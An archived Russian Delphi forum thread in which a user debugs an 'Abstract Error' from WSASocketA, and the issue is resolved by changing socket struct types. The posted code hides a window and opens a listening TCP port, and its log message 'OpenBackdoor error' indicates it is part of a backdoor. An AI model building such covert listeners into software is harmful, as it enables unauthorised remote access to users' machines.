Модераторы: Snowy, Poseidon, MetalFan
  

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> Оишбка при WSASocket(). Abstract error. 
:(
    Опции темы
Delphins
  Дата 17.9.2005, 22:48 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 93
Регистрация: 10.8.2005
Где: Россия, Краснодар

Репутация: нет
Всего: нет



Вот мой код: (Вырезал кусочек)

Код

Var
  wsAd: WSAData;
  sin: sockaddr_in;
  ClassName, AppName: PChar;
Begin
  Try
    Try
     // Initialize socket.
      If WSAStartup( c_SocketsVersionHEX, wsAd ) <> 0 Then
      Begin
        // Return socket error.
        OnError( 'WinSock Error! Error # ' + IntToStr( WSAGetLastError ) );
        WSACleanup( ); // Cleanup WSA.
        Exit; // Exit.
      End
      Else
      Begin
        { Working with socket }
        Sock := WSASocketA( PF_INET, SOCK_STREAM, IPPROTO_TCP, Nil, 0, 0 ); // Create TCP sock.
        // TODO: Gere abstract error.!
        If Sock = INVALID_SOCKET Then
          OnError( 'WinSock Error! Error - Invalid Socket!' )
        Else
        Begin
          // Socket already exists.
          ClassName := 'TExForm';
          AppName := 'ExForm';
          //----- Create window
          Handle := CreateWindowEx( 0, ClassName, AppName, WS_DISABLED, 10, 120, 90, 20, 0, 0, 0, Nil );
          ShowWindow( Handle, SW_HIDE );
          UpdateWindow( Handle );
          //----- Working with socket.
          WSAAsyncSelect( Sock, Handle, WM_SOCKET, FD_ACCEPT + FD_READ + FD_CLOSE ); // On read/write message to we's window.
          sin.sin_family := AF_INET; // Sock type = INET.
          sin.sin_port := htons( s_ListenPort ); // Port
          bind( sock, sin, SizeOf( sin ) ); // Bind socket.
          listen( sock, 1 );  // And listen.
          //-------------------------------------------------------------------------
          // Good. Socket listening and binded.
        End;
      End;
    Except
      Result := False;
      DebugLog( 'OpenBackdoor error !' );
    End
  Finally
    Result := True;
  End


WsaSocketA(); Определен как:
Код

Function WSASocketA( af, wType, protocol: integer; lpProtocolInfo: Pointer;
  g, dwFlags: dword ): integer; Stdcall; External 'ws2_32.dll';


OnError(); - Обработчик ошибок.
DebugLog(); - Тоже.

Ошибка возникает на WSASocketA(); Написано "Abstract Error". Почему? smile
PM MAIL ICQ Skype MSN   Вверх
<Spawn>
Дата 18.9.2005, 01:35 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Око кары:)
****


Профиль
Группа: Экс. модератор
Сообщений: 2776
Регистрация: 29.1.2003
Где: Екатеринбург

Репутация: 1
Всего: 64



А этот код откудова? Не из конструктора класса случаем? А то по ошибке похоже, что ты пытаешься создать экземпляр абстактного класса.


--------------------
"Для некоторых людей программирование является такой же внутренней потребностью, подобно тому, как коровы дают молоко, или писатели стремятся писать" - Николай Безруков.
PM MAIL ICQ   Вверх
Delphins
Дата 18.9.2005, 13:16 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 93
Регистрация: 10.8.2005
Где: Россия, Краснодар

Репутация: нет
Всего: нет



Кого? Я этот сам писал. Подклядывая в MSDN.
А WSASocketA() взял из одной проги.
PM MAIL ICQ Skype MSN   Вверх
p0s0l
Дата 18.9.2005, 22:35 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Г-н Посол
****


Профиль
Группа: Экс. модератор
Сообщений: 3668
Регистрация: 13.7.2003
Где: 58°38' с.ш. 4 9°41' в.д.

Репутация: 1
Всего: 112



Цитата(Delphins @ 17.9.2005, 22:48)
Написано "Abstract Error". Почему?
Я немного не понял, кто ошибку пишет и где ?
WSAGetLastError какое значение возвращает ?



--------------------
С уважением, г-н Посол.
PM   Вверх
Delphins
Дата 18.9.2005, 22:45 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 93
Регистрация: 10.8.2005
Где: Россия, Краснодар

Репутация: нет
Всего: нет



Пишет отладчик.
WSAGetLastError вообще ничего не выводит после этого.
PM MAIL ICQ Skype MSN   Вверх
p0s0l
Дата 18.9.2005, 23:06 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Г-н Посол
****


Профиль
Группа: Экс. модератор
Сообщений: 3668
Регистрация: 13.7.2003
Где: 58°38' с.ш. 4 9°41' в.д.

Репутация: 1
Всего: 112



Попробуй отключить
Tools->Debugger Options->Language Exceptions->Stop On Delphi Exceptions


--------------------
С уважением, г-н Посол.
PM   Вверх
Delphins
Дата 21.9.2005, 20:08 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 93
Регистрация: 10.8.2005
Где: Россия, Краснодар

Репутация: нет
Всего: нет



Хех. Нафига отключать отладку?????
Я спрашиваю почему ошибка а не как перестать её ловить!
PM MAIL ICQ Skype MSN   Вверх
p0s0l
Дата 21.9.2005, 22:36 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Г-н Посол
****


Профиль
Группа: Экс. модератор
Сообщений: 3668
Регистрация: 13.7.2003
Где: 58°38' с.ш. 4 9°41' в.д.

Репутация: 1
Всего: 112



Цитата(Delphins @ 21.9.2005, 20:08)
Хех. Нафига отключать отладку?????
Я спрашиваю почему ошибка а не как перестать её ловить!
Не знаю smile, это тебя надо спросить, почему на Sock := WSASocket происходит исключение... Тут экстрасенсов мало, быстрее ответа добьешься, если приведешь больше кода или даже весь код...
Например, может ты забыл сказать, что, к примеру, весь этот код находится в классе, а Sock - это свойство класса (с хитроумным кодом установки значения, типа raise EAbstractError.Create('Abstract Error') smile ) ?
При всём этом не понятен смысл двух Try'ев - ведь ты же не ожидаешь в этом коде исключений, зачем они ?... Сами API функции не генерят исключений (не считая AV, которые в нормальных условиях не должны возникать), остаётся вариант что ты где-то тут спрятал поднятие исключений... Правда в том что ты привел я этого не вижу...
И даже если ожидаешь исключение, то вот это очень оригинальный подход к делу:
Код
  Finally    
    Result := True;    
  End
smile
("пофиг, нормально сокет создался или нет, возвратим True всё равно!" smile )

Цитата(Delphins @ 18.9.2005, 22:45)
WSAGetLastError вообще ничего не выводит после этого.
Это как это ? Ноль что ли возвращает ?


--------------------
С уважением, г-н Посол.
PM   Вверх
Delphins
Дата 22.9.2005, 16:07 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 93
Регистрация: 10.8.2005
Где: Россия, Краснодар

Репутация: нет
Всего: нет



Хех. Уже все решилось. Перемсотрел весь код и изменил кое-что. Нет это было не в классе.
Поменял sockaddr_in на TSockaddr_in и WsaData на TWSAData;

PM MAIL ICQ Skype MSN   Вверх
  
Ответ в темуСоздание новой темы Создание опроса
Правила форума "Delphi: Сети"
Snowy
Poseidon
MetalFan

Запрещено:

1. Публиковать ссылки на вскрытые компоненты

2. Обсуждать взлом компонентов и делится вскрытыми компонентами

  • Литературу по Дельфи обсуждаем здесь
  • Действия модераторов можно обсудить здесь
  • С просьбами о написании курсовой, реферата и т.п. обращаться сюда
  • Вопросы по реализации алгоритмов рассматриваются здесь
  • 90% ответов на свои вопросы можно найти в DRKB (Delphi Russian Knowledge Base) - крупнейшем в рунете сборнике материалов по Дельфи

Если Вам помогли и атмосфера форума Вам понравилась, то заходите к нам чаще! С уважением, Snowy, Poseidon, MetalFan.

 
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | Delphi: Сети | Следующая тема »


 




[ Время генерации скрипта: 0.0468 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.